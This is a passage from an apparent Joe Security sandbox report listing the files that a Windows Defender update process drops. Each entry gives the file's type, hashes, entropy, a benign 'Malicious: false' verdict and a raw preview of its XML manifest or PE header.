provider guid="{102aab0a-9d9c-4887-a860-55de33b96595}" message="$(string.Microsoft-Antimalware-NIS.provider.name)" messageFileName="%ProgramFiles%\Win
dows Defender\NisSrv.exe" name="Microsoft-Antimalware-NIS" resourceFileName="%ProgramFiles%\Windows Defender\NisSrv.exe" symbol="Microsoft_Antimalware
_NIS">......<tasks>.......<task eventGUID="{b33e041e-3a75-4f52-bf0e-c85d0963b7fb}" name="N

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\Microsoft-Antimalware-Protection.man
Process: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe

File Type: XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators

Category: dropped

Size (bytes): 3369

Entropy (8bit): 5.312049604455802

Encrypted: false

SSDEEP: 96:/3poK58yFND08uf9zXzUzCzwat0kz9nHHzyPYjHMrje:/FbFHuf9DzUOVJ1HHePv2

MD5: E4AD891E7B62475FCA109C0DF4DEF16E

SHA1: B7DC3C04C67D7903E04B0EBF2AB7840AAA717EE0

SHA-256: DF9AD93CDB61587A35FCDCE996955A64413439A474D85C86133A9E9C185D1966

SHA-512: 0849CB6F3DAA6C80B94F770E29BD389B67D31E089595B22BFAF1D6F25C6E847DA4DCBFF135F6D96E30597991FF6C8CA8EB5306C4E8D1B334016220058B2969E1

Malicious: false

Reputation: unknown

Preview:
<?xml version="1.0" encoding="UTF-8"?>..<assembly manifestVersion="1.0" xmlns="urn:schemas-microsoft-com:asm.v3" xmlns:xsd="http://www.w3.org/2001/XML
Schema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">...<assemblyIdentity buildType="release" language="neutral" name="Windows-Defender-Service-
MpClientEtw" processorArchitecture="amd64" publicKeyToken="31bf3856ad364e35" version="10.0.10011.16384" versionScope="nonSxS"></assemblyIdentity>...
<instrumentation>....<events xmlns="http://schemas.microsoft.com/win/2004/08/events" xmlns:win="http://manifests.microsoft.com/win/2004/08/windows/events">.....
<provider guid="{e4b70372-261f-4c54-8fa6-a5a7914d73da}" message="$(string.Microsoft-Antimalware-Protection.provider.name)" messageFileName="%programf
iles%\Windows Defender\MpClient.dll" name="Microsoft-Antimalware-Protection" resourceFileName="%programfiles%\Windows Defender\MpClient.dll" symbol="M
icrosoft_Antimalware_Protection">......<tasks>.......<task eventGUID="{7db81ddd-d2be-41bd-

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\Microsoft-Antimalware-RTP.man
Process: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe

File Type: XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators

Category: dropped

Size (bytes): 12885

Entropy (8bit): 5.3652290431980765

Encrypted: false

SSDEEP: 192:/ozFIItP1HvYoPp5z7YlAZSJwyygPJ2HBfEj:/QFIwP1PYoh5WAZSJwsJ2NC

MD5: 35AC30A8637BC0EB2F7902B8C69BF904

SHA1: DB4C458A6007F444AECF8F4C49E481CC9935B22C

SHA-256: FE761134076253DC11CF8C154CA43E762C61C28D0A817E76351FFEF32CCF59C0

SHA-512: E41E522BF542D3B662D741E04523D1140C66585B64E811F6CD27C74466156F2FB728890C73579D4CFAD0BF8758D4F699A79C5B0B4B98479D60D386ACC26A8C49

Malicious: false

Reputation: unknown
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Preview:
<?xml version="1.0" encoding="UTF-8"?>..<assembly manifestVersion="1.0" xmlns="urn:schemas-microsoft-com:asm.v3" xmlns:xsd="http://www.w3.org/2001/XML
Schema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">...<assemblyIdentity buildType="release" language="neutral" name="Windows-Defender-Service-
MpRtpEtw" processorArchitecture="amd64" publicKeyToken="31bf3856ad364e35" version="10.0.10011.16384" versionScope="nonSxS"></assemblyIdentity>...<i
nstrumentation>....<events xmlns="http://schemas.microsoft.com/win/2004/08/events" xmlns:win="http://manifests.microsoft.com/win/2004/08/windows/events">.....<p
rovider guid="{8e92deef-5e17-413b-b927-59b2f06a3cfc}" message="$(string.Microsoft-Antimalware-RTP.provider.name)" messageFileName="%programfiles%\Windows 
Defender\MpRtp.dll" name="Microsoft-Antimalware-RTP" resourceFileName="%programfiles%\Windows Defender\MpRtp.dll" symbol="Microsoft_Antimalware_RTP">......
<maps>.......<valueMap name="DlpOperationType">........<map message="$(string.Ope

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\Microsoft-Antimalware-RTP.man

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\Microsoft-Antimalware-Service.man
Process: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe

File Type: XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators

Category: dropped

Size (bytes): 31904

Entropy (8bit): 5.2624632476710405

Encrypted: false

SSDEEP: 384:/VFriW4cboWcauSi6fZeeCifUhwqh+46AJJCZvsp33icjEtFBR2EaXU1Hgb1RVxq:tFriHcblBLuJ1ycgtR6XNxB4

MD5: B003B1DFFD9221745ED31E2979B28574

SHA1: FBCEB9767657E596CEA5E29EBDA57207F5B08A5D

SHA-256: 5AE7493F638252D49F18B084D7CEA4E88D3AF6B1170C8C16EABF5C6AE849E3C9

SHA-512: B731F60AC20548A54C465BFC3B20334946A384895C8AA4DF4C1DA969FB71F4B7C1BEC50044C4C5A9555B68B68C8A96EC45AE78FC5EBCD406102AE144A737FF0
2

Malicious: false

Reputation: unknown

Preview:
<?xml version="1.0" encoding="UTF-8"?>..<assembly manifestVersion="1.0" xmlns="urn:schemas-microsoft-com:asm.v3" xmlns:xsd="http://www.w3.org/2001/XML
Schema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">...<assemblyIdentity buildType="release" language="neutral" name="Windows-Defender-Service-
MpSvcEtw" processorArchitecture="amd64" publicKeyToken="31bf3856ad364e35" version="10.0.10011.16384" versionScope="nonSxS"></assemblyIdentity>...<i
nstrumentation>....<events xmlns="http://schemas.microsoft.com/win/2004/08/events" xmlns:ms="http://manifests.microsoft.com/win/2004/08/windows/events" xmlns:wi
n="http://manifests.microsoft.com/win/2004/08/windows/events">.....<provider guid="{751ef305-6c6e-4fed-b847-02ef79d26aef}" message="$(string.Microsoft-Antimalware-
Service.provider.name)" messageFileName="%programfiles%\Windows Defender\MpSvc.dll" name="Microsoft-Antimalware-Service" resourceFileName="%program
files%\Windows Defender\MpSvc.dll" symbol="Microsoft_Antimalware_Service">......

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\Microsoft-Windows-Windows Defend
er.man
Process: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe

File Type: XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators

Category: dropped

Size (bytes): 149152

Entropy (8bit): 5.478121035794876

Encrypted: false

SSDEEP: 1536:5oQofFA+1KSYfSN8bvc0/E/EvJ4rXVEc+ICO+PV5FqGc9HCOKK1HVX:SBfErIHKK1HVX

MD5: 36F8A68EECFB5B89C4C571F6A63E3ECA

SHA1: 242DC76813FE0BE2E676D37538FD887292803E68

SHA-256: 4D76246642181E38F87B623AF82BF7454050D05775F546506CFACA1608BE9633

SHA-512: C483FCE988F96156FAAACA093F1CE948B0CC42C006012F6F29308F4ED09D295951F59C79A547341578616E58561CAF858135881AF305B3166E1D4474B48D35C8

Malicious: false

Reputation: unknown

Preview:
<?xml version="1.0" encoding="UTF-8"?>..<assembly manifestVersion="1.0" xmlns="urn:schemas-microsoft-com:asm.v3" xmlns:xsd="http://www.w3.org/2001/XML
Schema">...<assemblyIdentity buildType="release" language="neutral" name="Windows-Defender-Events" processorArchitecture="amd64" publicKeyToken="31bf3
856ad364e35" version="10.0.10011.16384" versionScope="nonSxS"></assemblyIdentity>...<dependency discoverable="false" optional="false" resourceType="Re
sources">....<dependentAssembly>.....<assemblyIdentity buildType="release" language="*" name="Windows-Defender-Events.Resources" processorArchitecture
="amd64" publicKeyToken="31bf3856ad364e35" version="10.0.10011.16384"></assemblyIdentity>....</dependentAssembly>...</dependency>...  ..    ********************
***************************************************************************************..        BEGIN FILES SECTION ..    *******************************************************************
****************************************..    --

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpAsDesc.dll

Process: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe

File Type: PE32+ executable (DLL) (console) x86-64, for MS Windows

Category: dropped

Size (bytes): 209144

Entropy (8bit): 5.205036912846813

Encrypted: false

SSDEEP: 6144:PmiTVVmVVV8VVNVVVcVVVxVVVPVVlVVVRVVVtVVWV60jVLVVOVVUVZVVVVVjVVJL:tr

MD5: A27F0ABF90F3B468C6F15CDAFBBC3312

SHA1: D75B9FD570E9650F583F15F0F0F37EB2CBC39EC4

SHA-256: 503DF4EF842D6621139D4A15D68955E4926C0C6B5CCCEF60323290A6FC08343F

SHA-512: 9716144577A19591E12BB10732FF135D00928D1C5951AB220057A4A00D42B74E8980825D6DD60A8486EE1EC75CBAEA7C5525D4F4E600F5F869BEABA53C7D5FE2

Malicious: false

Antivirus: Antivirus: ReversingLabs, Detection: 0%

Copyright Joe Security LLC 2021 Page 111 of 181



Reputation: unknown

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........k=.].S.].S.].S.....\.S...Q.\.S.Rich].S.........PE..d....z..........." ...........
...........................................................`A......................................................... ................... ..............T............................................................................rdata.........................
.....@..@.rsrc........ ....... ..............@..@...................................................................................................................................................................................................................
.............................................................................................................................................................................................................................................................................

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpAsDesc.dll

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpAzSubmit.dll

Process: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe

File Type: PE32+ executable (DLL) (GUI) x86-64, for MS Windows

Category: dropped

Size (bytes): 1409272

Entropy (8bit): 6.2399898718653075

Encrypted: false

SSDEEP: 24576:5k4dJL+FQJApr2tz1+lC2zxw6y2os4OXB7vcHFzqh7OcI:5k4dJK+Jur2tz1+lC2VO2osDy

MD5: C10F256B7606EE5B1BED880020F68912

SHA1: 76B51FDD50A3EEBD4B55D97E3C9A8B8C79EDF978

SHA-256: C649EC99F87F684D22157755E5F8E0AF7C1EFD54853493965A673A3F0FFB4AC6

SHA-512: A5A9C4190A831D1FE2EADD1AB9FE97A0BE39FE4EE97A0F223D0AC42E80C72FA2B77AA0D2F929A3B2F10E7AB4E850BC7DF1DE420CAFD7289C08C763D951D99
7CB

Malicious: false

Antivirus: Antivirus: ReversingLabs, Detection: 0%

Reputation: unknown

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........`J.v3J.v3J.v3..u2K.v3..w2Y.v3J.w3u.v3..u2Y.v3..r2a.v3..s2..
v3..3H.v3..v2K.v3...2.v3..3K.v3..t2K.v3RichJ.v3................PE..d................" .....P... .................f....................................r4....`A........................................`b.......c.......@....
...@.......`... ...P...,..|k..p.......................(.......8............................................text...HO.......P.................. ..`.rdata..$....`... ...`..............@..@.data...8...........................@....pda
ta.......@....... ..............@..@.rsrc........@....... ..............@..@.reloc...,...P...0...0..............@..B............................................................................................................................
....................................................................................................................

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpClient.dll

Process: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe

File Type: PE32+ executable (DLL) (GUI) x86-64, for MS Windows

Category: dropped

Size (bytes): 1151224

Entropy (8bit): 6.1798062394748685

Encrypted: false

SSDEEP: 24576:MLG0IKv+HzAmqQBrTPQWNRIyQhZBcfy0RkgJ:cGFu+HzAmqEQWNRIypfy0J

MD5: FD7D2158F21085FF8E8C46829839708E

SHA1: 1749008645208E9769DD68D36124113E71923F6D

SHA-256: DE50D8BB61B7F0BB423E4A50A6775192C4809F63C18BE9426C4AC2E127BB9DA9

SHA-512: 03707AEAF1FED4C2BDC2CA4167498C5F7C57153A47F386D9C6A7A0DF75CD5B3C54D01A42AB56B6FDBF9A10E26213A6540FDE19F5036DC8E659500F19D728AFF
0

Malicious: false

Antivirus: Antivirus: ReversingLabs, Detection: 0%

Reputation: unknown

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................V..........................................?.............i.....V.......V....
....?......V.k.....V.......Rich............PE..d...f............." .................g.........[....................................3.....`A................................................8...T....@...............p... ...P...!......p........
...........(o..(.......8...........Po...............................text............................... ..`.rdata...R.......`..................@..@.data...............................@....pdata..............................@..@.di
dat.......0....... ..............@....rsrc........@.......0..............@..@.reloc...!...P...0...@..............@..B...........................................................................................................................
.....................................................................

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpCmdRun.exe
Process: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe

File Type: PE32+ executable (console) x86-64, for MS Windows

Category: dropped

Size (bytes): 884544

Entropy (8bit): 6.103389158363899

Encrypted: false

SSDEEP: 12288:b1SQ6UqCplyaRffknhoV55jmvuN7Wk0mCBRUe:b+UbnkhoVLmvuNqBGe

MD5: D50CBCB0B8B3282CD169E0032361D418

SHA1: 948E0431282837D2E654BFD805461967B99E63B4

SHA-256: F7B6EB6E4D8E04C7243AB0AB73CEC6E20E980F07E03267ED4B0CA69CF9CDAB3D

SHA-512: 13184B5DFD5E82C44F1451AD426B7FB8ACE63923679D4210C3B2CACE6691DBACD113E9D55FFB041D1C79C46A80C128EE5D2A97E874487A938DBCF08C03A1C3
EC

Malicious: false

Reputation: unknown
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Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............`...`...`..z....`..z....`..&....`..&....`....l..`..&....`..&....`...`...b..z...I`......
`..z....`..z....`..Rich.`..........................PE..d................"..........0.................@.............................P.......j............... ..............................................p..........,O...@..@?...@..........p..
..................J..(....(..8...........@J......8........................text...[........................... ..`.rdata..>.... ....... ..............@..@.data....M.......@..................@....pdata..,O.......P..................@
..@.didat.......`.......P..............@....rsrc........p.......`..............@..@.reloc.......@.......0..............@..B.....................................................................................................................
...................................................................

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpCmdRun.exe

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpCommu.dll
Process: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe

File Type: PE32+ executable (DLL) (GUI) x86-64, for MS Windows

Category: dropped

Size (bytes): 352504

Entropy (8bit): 6.026593673622959

Encrypted: false

SSDEEP: 6144:yOoa9kPfLM055gj5qDj8qdzRf8IGRx7Ur9opJtwEKLoi7GG75li:yXHjgjELzRf4q9oduLR77i

MD5: 98DE76E6BD6919C81785F34F3E4E4025

SHA1: 9E1BF8C617D7D629623D16DE29889659F4623066

SHA-256: A5D1C85E15E4454D0CF4E613107F688B540A046659F1DDECA859B395335BD50D

SHA-512: 5F233E59E8C4BB320C5BCD42505300EFEAA519FE35B1877A7213CB471162A1BB613C027FBDB1126FB6E747A704CDE4D799FC4421808819650126D4A9EB282557

Malicious: false

Reputation: unknown

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........I...I...I......K......H.......E.......G.......A...@.o.X...I...........e......H..........
...H......H...RichI...................PE..d....5.}.........." ................`..........f.............................P......n.....`A........................................................0...........,...@... ...@..(...l...p..............
.....H...(.......8...........p...............................text...5........................... ..`.rdata........... ..................@..@.data....#....... ..................@....pdata...,.......0..................@..@.didat..X.... 
......................@....rsrc........0....... ..............@..@.reloc..(....@.......0..............@..B............................................................................................................................................
....................................................

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpCopyAccelerator.exe
Process: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe

File Type: PE32+ executable (GUI) x86-64, for MS Windows

Category: dropped

Size (bytes): 165576

Entropy (8bit): 5.403399700794782

Encrypted: false

SSDEEP: 3072:Obc/k/710XdiWNGKTeoKeMK9OQWExQc5W:OIM/72IWb9n9OQWEno

MD5: B613F7C352DB0471338A01FA7CF94521

SHA1: 04618A6DD7100D957E6B190F70C263F1FF775CAB

SHA-256: 71ABD7C64E51AF9A750A31BAC218F9E6781C913869D97AA4024C2456E101CB20

SHA-512: 0D538585A972252EF6FF99C3ABB8F682201EE33A0FDFADB5BDCBEEE65E38D2C64BF8893B1691276ABF8F44303309BECF89AE0E74C3248609FB93FA22A6CD8F5
D

Malicious: false

Reputation: unknown

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..................................F......F.......B....F......F..................................Ric
h....................PE..d.....J..........."..........P................@.............................`....................... .......................................Z..................<....`...&...P..4....8..p.......................(.......8.........
..8................................text............................... ..`.rdata...].......`..................@..@.data........p.......p..............@....pdata..<...........................@..@.rsrc...............................
@..@.reloc..4....P.......P..............@..B..............................................................................................................................................................................................................
..................................

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpDetours.dll
Process: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe

File Type: PE32+ executable (DLL) (GUI) x86-64, for MS Windows

Category: dropped

Size (bytes): 164088

Entropy (8bit): 5.889246599238573

Encrypted: false

SSDEEP: 3072:LhAcjxmGnxakZmOpjZrppk4sGFO5SVyT+/t5xRbOz8kKbc/3u:LKc4GnQeVaGs5ZgbRk6cG

MD5: 6694C427D876FEEC65126E7734886E88

SHA1: F6F08ADEEA556B241E4010F538DA7E6C32047628

SHA-256: A76E653BA8D251379133B748B685C08672A69D1CF95493549E563CFAD8A8D7A5

SHA-512: 620A52BF3D503B82D82799C48A23CF4AA8BD7E399C343192EDB52E28FA6815976C90621D1B2E5EB841B0711F5F4191BFB141529CC341EAA215A8905A65FA0010

Malicious: false

Reputation: unknown

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......:Q..~0t.~0t.~0t..Ew..0t..Bu.n0t..Bp.r0t..Bw.y0t.wH.q0t.~0u.M1t
..Bq.W0t..Et..0t..E}.60t..E...0t..Ev..0t.Rich~0t.................PE..d.....x..........." .........................................................p............`A.........................................................P.......0.......`... 
...`......@...p.......................(...`...8............................................text....v.......................... ..`.rdata..............................@..@.data...............................@....pdata.......0... ... .........
.....@..@.rsrc........P.......@..............@..@.reloc.......`.......P..............@..B.......................................................................................................................................................
.........................................................................................

Copyright Joe Security LLC 2021 Page 113 of 181



C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpDetoursCopyAccelerator.dll
Process: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe

File Type: PE32+ executable (DLL) (GUI) x86-64, for MS Windows

Category: dropped

Size (bytes): 102632

Entropy (8bit): 5.416424506292462

Encrypted: false

SSDEEP: 1536:dnC8TM3nUZtTOwts7XxhrTNCfDgFvFJ2m6K2mPegHPxG:ZTM3UZtTOwW7XTNCfDGdBx2mPeqk

MD5: 50E2C916D6B2E5CDCED1BF18BEF5B9E6

SHA1: 523DA8427550B397352D0C7D9770BBE57E31C5CD

SHA-256: C880E519887E5AFD35612BDAF4F987D79ED294050A4D291B54B18F7F3C80A89D

SHA-512: C95F1D480DC1EF5587C9B9CE89F9C58550B2CD7E1E2389DE3A02DFBF541C9BBF66AFEC724767B574C81236FF0F5AE9C25D99702BA76FFC214290536C32BD6F3
D

Malicious: false

Reputation: unknown

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........s.v. .v. .v. U..!.v. ...!.v. ...!.v. ...!.v. ..U .v. .v. .w. ...!.v. U..!.v. U..!.v. 
U.9 .v. U..!.v. Rich.v. ........PE..d...F[.S.........." .................^...............................................j....`A........................................0...H...x........`..X....P.......p... ...p..........p.............
......h...(...0...8...............0............................text...R........................... ..`.rdata..*W.......`..................@..@.data........0.......0..............@....pdata.......P.......@..............@.
.@.rsrc...X....`.......P..............@..@.reloc.......p.......`..............@..B........................................................................................................................................................................
................................................................................

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpDlpCmd.exe
Process: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe

File Type: PE32+ executable (console) x86-64, for MS Windows

Category: dropped

Size (bytes): 372176

Entropy (8bit): 5.810540726487847

Encrypted: false

SSDEEP: 6144:SqKvKD0BvxUWJsoyvdnja6lHfF2tZLmiTVVmVVV8VVNVVVcVVVxVVVPVVlVVVRVi:jyBWGxyvmR1

MD5: 9DA1C405AF787EFBAF735B76388F867F

SHA1: 7C9F2DD2C72A15B2954534BB7021C9DB3F850DA1

SHA-256: 7E7180B5534BE4BF2E531DCCE4BD8C0CB55EEC93759625283A162C0F6149464F

SHA-512: 66190E1EA2D6FA7EE048D204746216B8C8146C0F17114CA1651B566632F32970F2F6113131338D96D43FDCA33A9266D142016DCD6369F27CE6657DF12FB823E5

Malicious: false

Reputation: unknown

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.8...k...k...k7v.j...k7v.j...kkq.j...kkq.j...k.{sk...kkq.j...kkq.k...kkq.j...k..
.k...k7v.j...k7v.k...k7v.j...kRich...k................PE..d...V..F.........."..................9.........@....................................y................ ......................................4...@....p.......P..<........-..
....l...P...p.......................(...`...8...............h............................text...E........................... ..`.rdata...}..........................@..@.data........0.......0..............@....pdata..<....P... ...@
..............@..@.rsrc........p.......`..............@..@.reloc..l............p..............@..B........................................................................................................................................................
................................................................................

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpEvMsg.dll
Process: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe

File Type: PE32+ executable (DLL) (console) x86-64, for MS Windows

Category: dropped

Size (bytes): 143608

Entropy (8bit): 3.8404828233814126

Encrypted: false

SSDEEP: 768:7r/gwWulQnuBkG22Tumo0cTH6QKqCmuKqrWmNKq4mZKqdmjd4KqgmXyGgR1PRGzm:QIBkG2usKoHPim

MD5: E6BA4B06A514B05F1A6F67E02776CB12

SHA1: 40CE66816509483AD45B8B6DE05D5F9AC23671CB

SHA-256: 3E69F409180506A6636CA8F0620AB0CC9B57F1393AC5986CC8BBE50BEF12C9C2

SHA-512: C8DDB425AEA945C86742ED8E8940E655BC24AB66EE4FAEDB7F29FA7A187809DABD326A529777691481E53C55D5119402D4016CDED33919840AC98D9C636C3022

Malicious: false

Reputation: unknown

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........k=.].S.].S.].S.....\.S...Q.\.S.Rich].S.........PE..d................." ..........
............................................................`A......................................................... ................... ..............T............................................................................rdata........................
......@..@.rsrc........ ....... ..............@..@..................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpOAV.dll
Process: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe

File Type: PE32+ executable (DLL) (GUI) x86-64, for MS Windows

Category: dropped

Size (bytes): 495848

Entropy (8bit): 6.009124528357715

Encrypted: false
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SSDEEP: 6144:l7A3ZwUGB8s0MYG75D5DU3b9EV0ShqJULr0XVCOPmiTVVmVVV8VVNVVVcVVVxVVV:lk3a7J5DS9EV0MqJULrkkMo

MD5: 507A1C4DC135D31E60E46C911F518352

SHA1: 94D0E5C74AD632CDE21A967FD6A06999153B6CC7

SHA-256: 07AA7775DEC86AFEF867C3B902BCF47CCB36E224433171EB6C4C0E3D80F753AB

SHA-512: FD980B28BA5E60536D695707716B4AC5B2AD63EEF1AF82534B326E2DBF6CA349DDA189C70CAF638C2AB6C3D6EB187F3C613FC5097C645C4272D9C60E8E2BE3
05

Malicious: false

Reputation: unknown

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........M...#...#...#.v. ...#.*."..#..."..#.*.'..#.*. ...#.*.&.>.#.v.#...#.v.*..#.v.....
#.v.!...#.Rich..#.........PE..d...A............." ..........................._..........................................`A................................................D...x............`...#...p... ......t.......p....................8..(.
..P7..8............8..p............................text..."........................... ..`.rdata..............................@..@.data....0... ... ... ..............@....pdata...#...`...0...@..............@..@.rsrc...............
.p..............@..@.reloc..t............`..............@..B..............................................................................................................................................................................................
..................................................................

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpOAV.dll

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpRtp.dll
Process: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe

File Type: PE32+ executable (DLL) (GUI) x86-64, for MS Windows

Category: dropped

Size (bytes): 1478904

Entropy (8bit): 6.324410065456569

Encrypted: false

SSDEEP: 24576:43IcInwFd0DDgUkXbikt2m94TdJdiLyvBW+IYHMb1ie:4YrvDDgsm2mWJdiLiBWZQMb1ie

MD5: EABFAF1CE6CB8843DA42FBA01E8BF069

SHA1: ADBD3EF5C4EBD0D395B157489A3B5D34EAB8CFFF

SHA-256: CA99B8EAA6ED8C706590551BE37107D027BBD53CC9E52805446ADF59B3AEDC1E

SHA-512: AFF68BBE9B8A086E2E49BDBC864DE8FA8E5990F23F38B385CDEE56C189C52088B24DD492A779EA2ECDD751AB682B81041B674E854DCB190F8EBD10079FC1F6
8C

Malicious: false

Reputation: unknown

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........H...)...)...)..M\...)..M\...)...[...)...)...(...[...)...[...)...[...)..M\...)..M\
...)..M\W..)..M\...)..Rich.)..........PE..d....t`.........." ...........................^..........................................`A........................................P...d............ ...B...p.......p... ...p......`...p..............
.........(......8...........(.......4... ....................text....t.......................... ..`.rdata..^V.......`..................@..@.data...<p.......`..................@....pdata.......p.......P..............@..@.didat..X.
..........................@....rsrc....B... ...P..................@..@.reloc.......p... ...P..............@..B............................................................................................................................................
....................................................................

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exe
Process: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe

File Type: PE32+ executable (GUI) x86-64, for MS Windows

Category: dropped

Size (bytes): 803176

Entropy (8bit): 6.37118649960636

Encrypted: false

SSDEEP: 24576:Ghj1QlBYDgtUUvie3n+pB3+ojRlcD1VyZTFXk:GhpQlBHtBYla1VyZpU

MD5: 01F92DC7A766FF783AE7AF40FD0334FB

SHA1: 45D7B8E98E22F939ED0083FE31204CAA9A72FA76

SHA-256: FA42B9B84754E2E8368E8929FA045BE86DBD72678176EE75814D2A16D23E5C26

SHA-512: BEA5F3D7FB0984C4A71720F25644CE3151FCDC95586E1E2FFE804D04567AAF30D8678608110E241C7DDF908F94882EDDD84A994573B0C808D1C064F0E135A583

Malicious: false

Reputation: unknown

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........B..#...#...#..EV...#...Q...#...Q...#...Q...#...Q...#...#..."..EV..#..EV
N..#..EV...#..Rich.#..........PE..d.....P.........."......`....................@.............................0.......-....`.......... .......................................t..d....... ........D... ..h!... ......d...p.......................
(......8...........0................................text...2R.......`.................. ..`.rdata.......p... ...p..............@..@.data..../....... ..................@....pdata...D.......P..................@..@.rsrc... ..........
.................@..@.reloc....... ......................@..B.......................................................................................................................................................................................................
.................................................................

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSvc.dll
Process: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe

File Type: PE32+ executable (DLL) (GUI) x86-64, for MS Windows

Category: dropped

Size (bytes): 3113208

Entropy (8bit): 6.304406527619417

Encrypted: false

SSDEEP: 49152:RThS41BElO7Jyf4HtxHnXXnh/vz1ztLm0exGP9lbw6ieBh4wBg:nR/EE7ofGx1fFxg

MD5: 0618D6AA4B96E666F1C3B79CA1531187

SHA1: 037AA87516FA27ADAE6499FFE314601262FE8E8A
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SHA-256: 89FD82BABFEE76643CA0F3DC4730302575E2BCCB00F744090D9E253A8CD9EE53

SHA-512: 457ECDAF9CC2AB3E6E26F8899831979AC5B1D0D59483CFC30A815280CD362173E0E349F5CC28F45DE25E2AB9DF4731768CF06A0C8E66E595847A67A43833F481

Malicious: false

Reputation: unknown

Preview:
MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$........!.\Z@..Z@..Z@...5..X@...5..[@...2..H@...2..H@...2..S@..S8*.M@
..Z@...B...2..j@...2D.X@...5..[@...5..?A..}...]@...5F.[@...5..[@..RichZ@..........................PE..d................." ......"....................\............................../......;0...`A..........................
